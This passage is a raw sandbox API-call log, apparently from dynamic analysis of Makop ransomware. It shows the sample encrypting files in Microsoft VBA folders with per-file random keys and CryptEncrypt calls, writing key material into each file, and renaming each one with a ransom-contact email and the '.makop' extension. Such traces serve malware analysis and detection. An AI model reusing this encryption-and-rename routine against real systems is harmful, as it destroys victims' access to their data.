liDistanceToMove=0xe374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.971] SetEndOfFile (hFile=0x114) returned 1 [0101.980] GetProcessHeap () returned 0x48a0000 [0101.980] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0101.980] GetProcessHeap () returned 0x48a0000 [0101.980] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.980] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0101.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.982] CloseHandle (hObject=0x114) returned 1 [0101.982] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0101.982] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0101.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0101.983] GetProcessHeap () returned 0x48a0000 [0101.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.983] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0101.983] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xe, lpOverlapped=0x0) returned 1 [0101.987] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.987] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.987] GetProcessHeap () returned 0x48a0000 [0101.987] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0101.988] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0101.988] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.988] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0101.988] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0101.988] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0101.988] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0101.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0101.989] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0101.989] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.989] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.989] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe6b62, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0xe6b62, lpOverlapped=0x0) returned 1 [0102.018] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0xe6b70, dwBufLen=0xe6b70 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0xe6b70) returned 1 [0102.028] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.028] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0xe6b70, lpOverlapped=0x0) returned 1 [0102.035] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0102.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe6c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.036] SetEndOfFile (hFile=0x114) returned 1 [0102.045] GetProcessHeap () returned 0x48a0000 [0102.045] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0102.045] GetProcessHeap () returned 0x48a0000 [0102.045] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.045] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0102.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.047] CloseHandle (hObject=0x114) returned 1 [0102.047] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0102.047] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0102.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0102.048] GetProcessHeap () returned 0x48a0000 [0102.048] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.048] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0102.048] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xc, lpOverlapped=0x0) returned 1 [0102.053] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0102.053] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.053] GetProcessHeap () returned 0x48a0000 [0102.053] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0102.053] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0102.053] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0102.053] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0102.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0102.054] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0102.054] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0102.054] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.055] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e434, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x1e434, lpOverlapped=0x0) returned 1 [0102.060] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x1e440, dwBufLen=0x1e440 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x1e440) returned 1 [0102.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.062] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x1e440, lpOverlapped=0x0) returned 1 [0102.063] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0102.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.063] SetEndOfFile (hFile=0x114) returned 1 [0102.072] GetProcessHeap () returned 0x48a0000 [0102.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0102.072] GetProcessHeap () returned 0x48a0000 [0102.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.072] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0102.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.073] CloseHandle (hObject=0x114) returned 1 [0102.074] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0102.074] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0102.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0102.076] GetProcessHeap () returned 0x48a0000 [0102.076] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.076] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0102.076] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xa, lpOverlapped=0x0) returned 1 [0102.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0102.080] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.080] GetProcessHeap () returned 0x48a0000 [0102.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0102.081] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0102.081] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0102.081] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0102.081] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0102.081] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0102.081] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0102.081] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0102.082] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0102.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0102.082] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.082] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x65c96, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x65c96, lpOverlapped=0x0) returned 1 [0102.094] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x65ca0, dwBufLen=0x65ca0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x65ca0) returned 1 [0102.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.098] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x65ca0, lpOverlapped=0x0) returned 1 [0102.101] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0102.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x65d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.102] SetEndOfFile (hFile=0x114) returned 1 [0102.110] GetProcessHeap () returned 0x48a0000 [0102.111] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0102.111] GetProcessHeap () returned 0x48a0000 [0102.111] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.111] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0102.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.112] CloseHandle (hObject=0x114) returned 1 [0102.113] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0102.113] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0102.113] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0102.113] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0102.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.117] GetFileSizeEx (in: hFile=0x138, lpFileSize=0x6576038 | out: lpFileSize=0x6576038*=3675976) returned 1 [0102.117] GetProcessHeap () returned 0x48a0000 [0102.117] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.117] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.117] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.117] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576024*=0x8, lpOverlapped=0x0) returned 1 [0102.123] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0102.123] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.124] GetProcessHeap () returned 0x48a0000 [0102.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0102.124] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576008*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576008*=0x30) returned 1 [0102.124] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.124] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576024*=0x30, lpOverlapped=0x0) returned 1 [0102.124] WriteFile (in: hFile=0x138, lpBuffer=0x657602c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x657602c*, lpNumberOfBytesWritten=0x6576024*=0x4, lpOverlapped=0x0) returned 1 [0102.124] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576024*=0x10, lpOverlapped=0x0) returned 1 [0102.124] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576024*=0x80, lpOverlapped=0x0) returned 1 [0102.125] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.125] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576024*=0x8, lpOverlapped=0x0) returned 1 